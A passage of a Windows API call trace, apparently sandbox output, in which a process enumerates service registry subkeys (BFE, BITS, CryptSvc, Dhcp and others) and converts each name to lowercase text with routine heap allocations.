lpUsedDefaultChar=0x0) returned 4 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.790] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.791] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.791] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.791] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.791] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.792] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.792] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.792] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0247.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.793] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.793] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.793] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.793] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0247.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0247.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0247.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0247.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0247.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0247.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0247.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0247.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0247.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0247.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0247.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: 